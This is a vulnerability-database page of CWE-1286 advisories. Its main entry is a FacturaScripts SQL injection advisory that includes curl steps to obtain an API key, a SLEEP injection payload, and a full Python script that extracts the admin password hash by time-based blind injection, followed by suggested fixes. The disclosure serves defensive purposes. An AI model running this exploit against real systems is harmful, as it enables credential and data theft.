Common Weakness Enumeration

CWE-1286

Allowed

Improper Validation of Syntactic Correctness of Input

Abstraction: Base · Status: Incomplete

The product receives input that is expected to be well-formed - i.e., to comply with a certain syntax - but it does not validate or incorrectly validates that the input complies with the syntax.

150 vulnerabilities reference this CWE, most recent first.

GHSA-CJFX-QHWM-HF99

Vulnerability from github – Published: 2026-02-03 18:14 – Updated: 2026-02-04 21:57
VLAI
Summary
FacturaScripts has SQL Injection in API ORDER BY Clause
Details

Summary

FacturaScripts contains a critical SQL Injection vulnerability in the REST API that allows authenticated API users to execute arbitrary SQL queries through the sort parameter. The vulnerability exists in the ModelClass::getOrderBy() method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects all API endpoints that support sorting functionality.


Details

The FacturaScripts REST API exposes database models through various endpoints (e.g., /api/3/users, /api/3/attachedfiles, /api/3/customers). These endpoints support a sort parameter that allows clients to specify result ordering. The API processes this parameter through the ModelClass::all() method, which calls the vulnerable getOrderBy() function.

Vulnerable Code Locations

1. Legacy Models: File: /Core/Model/Base/ModelClass.php Method: getOrderBy() Direct concatenation of keys and values from the $order array.

2. Modern Models (DbQuery): File: /Core/DbQuery.php Method: orderBy() Lines: 255-259

        // If it contains parentheses, it is not escaped (VULNERABILITY!)
        if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
            $this->orderBy[] = $field . ' ' . $order;
            return $this;
        }

This check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL Injection.


Proof of Concept (PoC)

Prerequisites

  • Valid API authentication token (X-Auth-Token header)
  • Access to FacturaScripts API endpoints

Step-by-Step Verification (CLI)

Since FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.

1. Login and Retrieve a valid API key: We handle the CSRF token and session cookies to access the settings and retrieve the first available key.

# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"

# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)

# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"

2. Verify Time-Based SQL Injection: Use the extracted API_KEY in the X-Auth-Token header.

# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"

# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
  "http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"

Expected Result: The injected request will take significantly longer (delay depends on database records), confirming the SQL Injection.


Automated Exploitation Tool

This script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL Injection.

import requests
import time
import string
import re

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API_ENDPOINT = "/api/3/users"

session = requests.Session()

def get_token(url):
    """Extract multireqtoken from any page"""
    res = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
    return match.group(1) if match else None

def get_api_key():
    """Logs in and retrieves the first active API key dynamically"""
    print(f"[*] Logging in as {USERNAME}...")

    # 1. Login flow
    token = get_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get initial CSRF token")
        return None

    login_data = {
        "fsNick": USERNAME,
        "fsPassword": PASSWORD,
        "action": "login",
        "multireqtoken": token
    }
    res = session.post(f"{BASE_URL}/login", data=login_data)
    if "Dashboard" not in res.text:
        print("[!] Login failed!")
        return None
    print("[+] Login successful.")

    # 2. Retrieve API Key ID from settings
    print("[*] Accessing API settings...")
    res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
    id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
    if not id_match:
        print("[!] No API keys found in system!")
        return None

    api_id = id_match.group(1)

    # 3. Get the actual API key string
    print(f"[*] Retrieving API key for ID {api_id}...")
    res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
    key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
    if not key_match:
        print("[!] Failed to extract API key from page!")
        return None

    return key_match.group(1)

def time_based_sqli(api_key, payload):
    """Execute time-based SQL injection and measure response time"""
    headers = {"X-Auth-Token": api_key}
    params = {
        'limit': 1,
        f'sort[{payload}]': 'ASC'
    }
    start = time.time()
    try:
        requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
    except requests.exceptions.ReadTimeout:
        return 10.0
    except:
        pass
    return time.time() - start

def extract_data(api_key, query, length=60):
    """Extracts data char by char using time-based blind SQLi"""
    extracted = ""
    charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"

    print(f"[*] Starting extraction for query: {query}")
    for i in range(1, length + 1):
        found = False
        for char in charset:
            # Added BINARY to force case-sensitive comparison
            payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
            elapsed = time_based_sqli(api_key, payload)

            if elapsed >= 2.0:
                extracted += char
                print(f"[+] Found char at pos {i}: {char} -> {extracted}")
                found = True
                break
        if not found:
            break
    return extracted

def main():
    print("="*60)
    print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
    print("="*60)

    # 1. Get API Key dynamically
    api_key = get_api_key()
    if not api_key:
        return
    print(f"[+] Using API Key: {api_key}")

    # 2. Verify vulnerability
    print("[*] Verifying vulnerability...")
    if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0:
        print("[+] System is VULNERABLE!")
    else:
        print("[-] System not vulnerable or API key invalid.")
        return

    # 3. Extract Admin Password Hash
    admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'")
    print(f"\n[!] FINAL ADMIN HASH: {admin_hash}")

if __name__ == "__main__":
    main()

image


Impact

Data Confidentiality

  • Complete database disclosure through blind SQL Injection techniques
  • Extraction of sensitive data including:
  • User credentials and API keys
  • Customer PII (personal identifiable information)
  • Financial records and transaction data
  • Business intelligence and pricing information
  • System configuration and secrets

Who is Impacted?

  • Organizations using FacturaScripts API for integrations
  • Mobile apps and third-party integrations using the API
  • All users whose data is accessible via API
  • Business partners with API access

Recommended Fix

Immediate Remediation

Option 1: Implement Strict Whitelist Validation (Recommended)

// File: Core/Model/Base/ModelClass.php
// Method: getOrderBy()

private static function getOrderBy(array $order): string
{
    $result = '';
    $coma = ' ORDER BY ';

    // Get valid column names from model
    $validColumns = array_keys(static::getModelFields());

    foreach ($order as $key => $value) {
        // Validate column name against whitelist
        if (!in_array($key, $validColumns, true)) {
            throw new \Exception('Invalid column name for sorting: ' . $key);
        }

        // Validate sort direction (must be ASC or DESC)
        $value = strtoupper(trim($value));
        if (!in_array($value, ['ASC', 'DESC'], true)) {
            throw new \Exception('Invalid sort direction: ' . $value);
        }

        // Escape column name
        $safeColumn = self::$dataBase->escapeColumn($key);
        $result .= $coma . $safeColumn . ' ' . $value;
        $coma = ', ';
    }

    return $result;
}

Option 2: Use Database Escaping Functions

private static function getOrderBy(array $order): string
{
    $result = '';
    $coma = ' ORDER BY ';

    foreach ($order as $key => $value) {
        // Escape identifiers and validate direction
        $safeColumn = self::$dataBase->escapeColumn($key);
        $safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])
            ? strtoupper($value)
            : 'ASC';

        $result .= $coma . $safeColumn . ' ' . $safeDirection;
        $coma = ', ';
    }

    return $result;
}

Option 3: Use Query Builder Pattern

// Refactor to use prepared statements
public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array
{
    $query = self::table();

    // Apply WHERE conditions
    foreach ($where as $condition) {
        $query->where($condition);
    }

    // Apply ORDER BY with validation
    foreach ($order as $column => $direction) {
        if (!array_key_exists($column, static::getModelFields())) {
            continue; // Skip invalid columns
        }
        $query->orderBy($column, $direction);
    }

    return $query->offset($offset)->limit($limit)->get();
}

API Security Best Practices

// Add to API configuration
$config = [
    'max_sort_fields' => 3,  // Limit number of sort fields
    'allowed_sort_fields' => ['id', 'date', 'name'],  // Whitelist
    'default_sort' => 'id ASC',  // Safe default
];

Credits

Discovered by: Łukasz Rybak

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "facturascripts/facturascripts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2025.81"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25513"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1286",
      "CWE-20",
      "CWE-89",
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-03T18:14:43Z",
    "nvd_published_at": "2026-02-04T20:16:07Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n**FacturaScripts contains a critical SQL Injection vulnerability in the REST API** that allows authenticated API users to execute arbitrary SQL queries through the `sort` parameter. The vulnerability exists in the `ModelClass::getOrderBy()` method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects **all API endpoints** that support sorting functionality.\n\n---\n\n### Details\n\nThe FacturaScripts REST API exposes database models through various endpoints (e.g., `/api/3/users`, `/api/3/attachedfiles`, `/api/3/customers`). These endpoints support a `sort` parameter that allows clients to specify result ordering. The API processes this parameter through the `ModelClass::all()` method, which calls the vulnerable `getOrderBy()` function.\n\n#### Vulnerable Code Locations\n\n**1. Legacy Models:**\n**File:** `/Core/Model/Base/ModelClass.php`\n**Method:** `getOrderBy()`\nDirect concatenation of keys and values from the `$order` array.\n\n**2. Modern Models (DbQuery):**\n**File:** `/Core/DbQuery.php`\n**Method:** `orderBy()`\n**Lines:** 255-259\n```php\n        // If it contains parentheses, it is not escaped (VULNERABILITY!)\n        if (strpos($field, \u0027(\u0027) !== false \u0026\u0026 strpos($field, \u0027)\u0027) !== false) {\n            $this-\u003eorderBy[] = $field . \u0027 \u0027 . $order;\n            return $this;\n        }\n```\nThis check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL Injection.\n\n---\n\n### Proof of Concept (PoC)\n\n#### Prerequisites\n- Valid API authentication token (X-Auth-Token header)\n- Access to FacturaScripts API endpoints\n\n#### Step-by-Step Verification (CLI)\n\nSince FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.\n\n**1. Login and Retrieve a valid API key:**\nWe handle the CSRF token and session cookies to access the settings and retrieve the first available key.\n```bash\n# Login\nTOKEN=$(curl -s -L -c cookies.txt \"http://localhost:8091/login\" | grep -Po \u0027name=\"multireqtoken\" value=\"\\K[^\"]+\u0027 | head -n 1)\ncurl -s -b cookies.txt -c cookies.txt -X POST \"http://localhost:8091/login\" \\\n  -d \"fsNick=admin\" -d \"fsPassword=admin\" -d \"action=login\" -d \"multireqtoken=$TOKEN\"\n\n# Find the ID of the first existing API key\nAPI_ID=$(curl -s -b cookies.txt \"http://localhost:8091/EditSettings?activetab=ListApiKey\" | grep -Po \u0027EditApiKey\\?code=\\K\\d+\u0027 | head -n 1)\n\n# Extract the API key string using its ID\nAPI_KEY=$(curl -s -b cookies.txt \"http://localhost:8091/EditApiKey?code=$API_ID\" | grep -Po \u0027name=\"apikey\" value=\"\\K[^\"]+\u0027 | head -n 1)\necho \"Using API Key: $API_KEY\"\n```\n\n**2. Verify Time-Based SQL Injection:**\nUse the extracted `API_KEY` in the `X-Auth-Token` header.\n```bash\n# Normal request (baseline)\ntime curl -g -s -H \"X-Auth-Token: $API_KEY\" \"http://localhost:8091/api/3/users?limit=1\"\n\n# Injected request (SLEEP payload in the sort key)\ntime curl -g -s -H \"X-Auth-Token: $API_KEY\" \\\n  \"http://localhost:8091/api/3/users?limit=1\u0026sort[nick,(SELECT(SLEEP(3)))]=ASC\"\n```\n\n**Expected Result:** The injected request will take significantly longer (delay depends on database records), confirming the SQL Injection.\n\n---\n\n#### Automated Exploitation Tool\n\nThis script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL Injection.\n\n```python\nimport requests\nimport time\nimport string\nimport re\n\n# Configuration\nBASE_URL = \"http://localhost:8091\"\nUSERNAME = \"admin\"\nPASSWORD = \"admin\"\nAPI_ENDPOINT = \"/api/3/users\"\n\nsession = requests.Session()\n\ndef get_token(url):\n    \"\"\"Extract multireqtoken from any page\"\"\"\n    res = session.get(url)\n    match = re.search(r\u0027name=\"multireqtoken\" value=\"([^\"]+)\"\u0027, res.text)\n    return match.group(1) if match else None\n\ndef get_api_key():\n    \"\"\"Logs in and retrieves the first active API key dynamically\"\"\"\n    print(f\"[*] Logging in as {USERNAME}...\")\n    \n    # 1. Login flow\n    token = get_token(f\"{BASE_URL}/login\")\n    if not token:\n        print(\"[!] Failed to get initial CSRF token\")\n        return None\n        \n    login_data = {\n        \"fsNick\": USERNAME,\n        \"fsPassword\": PASSWORD,\n        \"action\": \"login\",\n        \"multireqtoken\": token\n    }\n    res = session.post(f\"{BASE_URL}/login\", data=login_data)\n    if \"Dashboard\" not in res.text:\n        print(\"[!] Login failed!\")\n        return None\n    print(\"[+] Login successful.\")\n\n    # 2. Retrieve API Key ID from settings\n    print(\"[*] Accessing API settings...\")\n    res = session.get(f\"{BASE_URL}/EditSettings?activetab=ListApiKey\")\n    id_match = re.search(r\u0027EditApiKey\\?code=(\\d+)\u0027, res.text)\n    if not id_match:\n        print(\"[!] No API keys found in system!\")\n        return None\n    \n    api_id = id_match.group(1)\n    \n    # 3. Get the actual API key string\n    print(f\"[*] Retrieving API key for ID {api_id}...\")\n    res = session.get(f\"{BASE_URL}/EditApiKey?code={api_id}\")\n    key_match = re.search(r\u0027name=\"apikey\" value=\"([^\"]+)\"\u0027, res.text)\n    if not key_match:\n        print(\"[!] Failed to extract API key from page!\")\n        return None\n        \n    return key_match.group(1)\n\ndef time_based_sqli(api_key, payload):\n    \"\"\"Execute time-based SQL injection and measure response time\"\"\"\n    headers = {\"X-Auth-Token\": api_key}\n    params = {\n        \u0027limit\u0027: 1,\n        f\u0027sort[{payload}]\u0027: \u0027ASC\u0027\n    }\n    start = time.time()\n    try:\n        requests.get(f\"{BASE_URL}{API_ENDPOINT}\", headers=headers, params=params, timeout=10)\n    except requests.exceptions.ReadTimeout:\n        return 10.0\n    except:\n        pass\n    return time.time() - start\n\ndef extract_data(api_key, query, length=60):\n    \"\"\"Extracts data char by char using time-based blind SQLi\"\"\"\n    extracted = \"\"\n    charset = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./\"\n    \n    print(f\"[*] Starting extraction for query: {query}\")\n    for i in range(1, length + 1):\n        found = False\n        for char in charset:\n            # Added BINARY to force case-sensitive comparison\n            payload = f\"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)=\u0027{char}\u0027,SLEEP(2),nick))\"\n            elapsed = time_based_sqli(api_key, payload)\n            \n            if elapsed \u003e= 2.0:\n                extracted += char\n                print(f\"[+] Found char at pos {i}: {char} -\u003e {extracted}\")\n                found = True\n                break\n        if not found:\n            break\n    return extracted\n\ndef main():\n    print(\"=\"*60)\n    print(\" FacturaScripts Dynamic SQLi Exfiltration Tool\")\n    print(\"=\"*60)\n\n    # 1. Get API Key dynamically\n    api_key = get_api_key()\n    if not api_key:\n        return\n    print(f\"[+] Using API Key: {api_key}\")\n\n    # 2. Verify vulnerability\n    print(\"[*] Verifying vulnerability...\")\n    if time_based_sqli(api_key, \"(SELECT SLEEP(2))\") \u003e= 2.0:\n        print(\"[+] System is VULNERABLE!\")\n    else:\n        print(\"[-] System not vulnerable or API key invalid.\")\n        return\n\n    # 3. Extract Admin Password Hash\n    admin_hash = extract_data(api_key, \"SELECT password FROM users WHERE nick=\u0027admin\u0027\")\n    print(f\"\\n[!] FINAL ADMIN HASH: {admin_hash}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\u003cimg width=\"862\" height=\"1221\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9bdf5342-a48f-47f3-a3aa-68e221624273\" /\u003e\n\n---\n\n### Impact\n\n#### Data Confidentiality\n- **Complete database disclosure** through blind SQL Injection techniques\n- Extraction of sensitive data including:\n  - User credentials and API keys\n  - Customer PII (personal identifiable information)\n  - Financial records and transaction data\n  - Business intelligence and pricing information\n  - System configuration and secrets\n\n#### Who is Impacted?\n- **Organizations using FacturaScripts API** for integrations\n- **Mobile apps and third-party integrations** using the API\n- **All users whose data is accessible via API**\n- **Business partners with API access**\n\n---\n\n### Recommended Fix\n\n#### Immediate Remediation\n\n**Option 1: Implement Strict Whitelist Validation (Recommended)**\n\n```php\n// File: Core/Model/Base/ModelClass.php\n// Method: getOrderBy()\n\nprivate static function getOrderBy(array $order): string\n{\n    $result = \u0027\u0027;\n    $coma = \u0027 ORDER BY \u0027;\n\n    // Get valid column names from model\n    $validColumns = array_keys(static::getModelFields());\n\n    foreach ($order as $key =\u003e $value) {\n        // Validate column name against whitelist\n        if (!in_array($key, $validColumns, true)) {\n            throw new \\Exception(\u0027Invalid column name for sorting: \u0027 . $key);\n        }\n\n        // Validate sort direction (must be ASC or DESC)\n        $value = strtoupper(trim($value));\n        if (!in_array($value, [\u0027ASC\u0027, \u0027DESC\u0027], true)) {\n            throw new \\Exception(\u0027Invalid sort direction: \u0027 . $value);\n        }\n\n        // Escape column name\n        $safeColumn = self::$dataBase-\u003eescapeColumn($key);\n        $result .= $coma . $safeColumn . \u0027 \u0027 . $value;\n        $coma = \u0027, \u0027;\n    }\n\n    return $result;\n}\n```\n\n**Option 2: Use Database Escaping Functions**\n\n```php\nprivate static function getOrderBy(array $order): string\n{\n    $result = \u0027\u0027;\n    $coma = \u0027 ORDER BY \u0027;\n\n    foreach ($order as $key =\u003e $value) {\n        // Escape identifiers and validate direction\n        $safeColumn = self::$dataBase-\u003eescapeColumn($key);\n        $safeDirection = in_array(strtoupper($value), [\u0027ASC\u0027, \u0027DESC\u0027])\n            ? strtoupper($value)\n            : \u0027ASC\u0027;\n\n        $result .= $coma . $safeColumn . \u0027 \u0027 . $safeDirection;\n        $coma = \u0027, \u0027;\n    }\n\n    return $result;\n}\n```\n\n**Option 3: Use Query Builder Pattern**\n\n```php\n// Refactor to use prepared statements\npublic static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array\n{\n    $query = self::table();\n\n    // Apply WHERE conditions\n    foreach ($where as $condition) {\n        $query-\u003ewhere($condition);\n    }\n\n    // Apply ORDER BY with validation\n    foreach ($order as $column =\u003e $direction) {\n        if (!array_key_exists($column, static::getModelFields())) {\n            continue; // Skip invalid columns\n        }\n        $query-\u003eorderBy($column, $direction);\n    }\n\n    return $query-\u003eoffset($offset)-\u003elimit($limit)-\u003eget();\n}\n```\n\n#### API Security Best Practices\n\n```php\n// Add to API configuration\n$config = [\n    \u0027max_sort_fields\u0027 =\u003e 3,  // Limit number of sort fields\n    \u0027allowed_sort_fields\u0027 =\u003e [\u0027id\u0027, \u0027date\u0027, \u0027name\u0027],  // Whitelist\n    \u0027default_sort\u0027 =\u003e \u0027id ASC\u0027,  // Safe default\n];\n```\n\n---\n\n### Credits\n\n**Discovered by:** \u0141ukasz Rybak",
  "id": "GHSA-cjfx-qhwm-hf99",
  "modified": "2026-02-04T21:57:11Z",
  "published": "2026-02-03T18:14:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cjfx-qhwm-hf99"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25513"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NeoRazorX/facturascripts/commit/1b6cdfa9ee1bb3365ea4a4ad753452035a027605"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NeoRazorX/facturascripts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FacturaScripts has SQL Injection in API ORDER BY Clause"
}

GHSA-CPH5-5RVQ-2PRR

Vulnerability from github – Published: 2025-04-30 12:31 – Updated: 2025-04-30 12:31
VLAI
Details

A vulnerability in the “Proxy” functionality of the web application of ctrlX OS allows a remote authenticated (lowprivileged) attacker to manipulate the “/etc/environment” file via a crafted HTTP request.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-24346"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1286"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-30T12:15:18Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the \u201cProxy\u201d functionality of the web application of ctrlX OS allows a remote authenticated (lowprivileged) attacker to manipulate the \u201c/etc/environment\u201d file via a crafted HTTP request.",
  "id": "GHSA-cph5-5rvq-2prr",
  "modified": "2025-04-30T12:31:24Z",
  "published": "2025-04-30T12:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24346"
    },
    {
      "type": "WEB",
      "url": "https://psirt.bosch.com/security-advisories/BOSCH-SA-640452.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CWJV-W927-X7GR

Vulnerability from github – Published: 2026-05-29 18:31 – Updated: 2026-05-29 18:31
VLAI
Details

XX-Net V5.16.6 contains a WebSocket frame parsing vulnerability in the WebSocket_receive_worker routine of simple_http_server.py that allows attackers to cause corrupted application data by sending unmasked WebSocket frames. The server unconditionally reads 4 bytes as a masking key regardless of whether the MASK bit is set in the frame header, causing the first 4 bytes of payload to be consumed as a mask key and the remaining payload to be incorrectly XOR-decoded, resulting in data corruption alongside missing RSV bit, opcode, and FIN fragmentation validations.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-10099"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1286"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-29T16:16:24Z",
    "severity": "MODERATE"
  },
  "details": "XX-Net V5.16.6 contains a WebSocket frame parsing vulnerability in the WebSocket_receive_worker routine of simple_http_server.py that allows attackers to cause corrupted application data by sending unmasked WebSocket frames. The server unconditionally reads 4 bytes as a masking key regardless of whether the MASK bit is set in the frame header, causing the first 4 bytes of payload to be consumed as a mask key and the remaining payload to be incorrectly XOR-decoded, resulting in data corruption alongside missing RSV bit, opcode, and FIN fragmentation validations.",
  "id": "GHSA-cwjv-w927-x7gr",
  "modified": "2026-05-29T18:31:33Z",
  "published": "2026-05-29T18:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10099"
    },
    {
      "type": "WEB",
      "url": "https://github.com/XX-net/XX-Net/issues/14169"
    },
    {
      "type": "WEB",
      "url": "https://github.com/XX-net/XX-Net/pull/14170"
    },
    {
      "type": "WEB",
      "url": "https://github.com/XX-net/XX-Net/commit/a68b972a84ed6e52df9f30237cf47493b9231b53"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/xx-net-websocket-frame-parsing-data-corruption-via-simple-http-server-py"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-CWXW-98QJ-8QJX

Vulnerability from github – Published: 2026-06-19 14:37 – Updated: 2026-06-19 14:37
VLAI
Summary
guzzlehttp/guzzle: Dot-Only Cookie Domains Match All Hosts
Details

Impact

CookieJar incorrectly accepts cookies with a dot-only Domain attribute, such as Domain=., Domain=.., Domain=..., and whitespace-padded variants such as Domain= .. In affected versions, SetCookie::matchesDomain() removes leading dots from the cookie domain, normalizing dot-only values to the empty string; SetCookie::validate() only rejected a strictly empty domain, so these cookies could be stored and the empty normalized domain was treated as matching any request host.

An attacker-controlled origin that an application requests with a shared cookie jar can therefore set a cookie that Guzzle later sends to unrelated hosts using the same jar. This may allow cookie injection or session fixation against downstream services, depending on how those services interpret the injected cookie. Applications are affected when they use Guzzle's cookie support, for example new Client(['cookies' => true]) or an explicit shared CookieJar, and reuse the same jar across attacker-controlled and trusted origins.

Applications that do not use Guzzle's cookie support, or that use separate cookie jars per origin or trust boundary, are not affected. This issue is distinct from public suffix list validation: dot-only domains contain no domain label and should not match unrelated hosts.

Patches

The issue is patched in 7.12.1 and later. Starting in that release, Guzzle rejects dot-only cookie Domain attributes and prevents an empty normalized cookie domain from matching any request host.

Workarounds

If you cannot upgrade immediately, do not reuse the same CookieJar instance across untrusted and trusted origins. Use separate cookie jars per origin or trust boundary, or disable cookie handling for requests to untrusted hosts.

Avoid using new Client(['cookies' => true]) for clients that may contact unrelated hosts with different trust levels, because that option creates one shared jar for the client.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "guzzlehttp/guzzle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.12.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55767"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1286",
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T14:37:29Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\n`CookieJar` incorrectly accepts cookies with a dot-only `Domain` attribute, such as `Domain=.`, `Domain=..`, `Domain=...`, and whitespace-padded variants such as `Domain= . `. In affected versions, `SetCookie::matchesDomain()` removes leading dots from the cookie domain, normalizing dot-only values to the empty string; `SetCookie::validate()` only rejected a strictly empty domain, so these cookies could be stored and the empty normalized domain was treated as matching any request host.\n\nAn attacker-controlled origin that an application requests with a shared cookie jar can therefore set a cookie that Guzzle later sends to unrelated hosts using the same jar. This may allow cookie injection or session fixation against downstream services, depending on how those services interpret the injected cookie. Applications are affected when they use Guzzle\u0027s cookie support, for example `new Client([\u0027cookies\u0027 =\u003e true])` or an explicit shared `CookieJar`, and reuse the same jar across attacker-controlled and trusted origins.\n\nApplications that do not use Guzzle\u0027s cookie support, or that use separate cookie jars per origin or trust boundary, are not affected. This issue is distinct from public suffix list validation: dot-only domains contain no domain label and should not match unrelated hosts.\n\n### Patches\n\nThe issue is patched in `7.12.1` and later. Starting in that release, Guzzle rejects dot-only cookie `Domain` attributes and prevents an empty normalized cookie domain from matching any request host.\n\n### Workarounds\n\nIf you cannot upgrade immediately, do not reuse the same `CookieJar` instance across untrusted and trusted origins. Use separate cookie jars per origin or trust boundary, or disable cookie handling for requests to untrusted hosts.\n\nAvoid using `new Client([\u0027cookies\u0027 =\u003e true])` for clients that may contact unrelated hosts with different trust levels, because that option creates one shared jar for the client.",
  "id": "GHSA-cwxw-98qj-8qjx",
  "modified": "2026-06-19T14:37:29Z",
  "published": "2026-06-19T14:37:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/guzzle/guzzle/security/advisories/GHSA-cwxw-98qj-8qjx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/guzzle/guzzle"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "guzzlehttp/guzzle: Dot-Only Cookie Domains Match All Hosts"
}

GHSA-FFCV-V6PW-QHRP

Vulnerability from github – Published: 2024-10-08 22:18 – Updated: 2024-10-31 19:31
VLAI
Summary
Denial of Service in TYPO3 Bookmark Toolbar
Details

Problem

Due to insufficient input validation, manipulated data saved in the bookmark toolbar of the backend user interface causes a general error state, blocking further access to the interface. Exploiting this vulnerability requires an administrator-level backend user account.

Solution

Update to TYPO3 versions 10.4.46 ELTS, 11.5.40 LTS, 12.4.21 LTS, 13.3.1 that fix the problem described.

Credits

Thanks to Hendrik Eichner who reported this issue and to TYPO3 core & security team members Oliver Hader and Benjamin Franzke who fixed the issue.

References

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "13.0.0"
            },
            {
              "fixed": "13.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "13.0.0"
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 12.4.20"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0"
            },
            {
              "fixed": "12.4.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 11.5.39"
      },
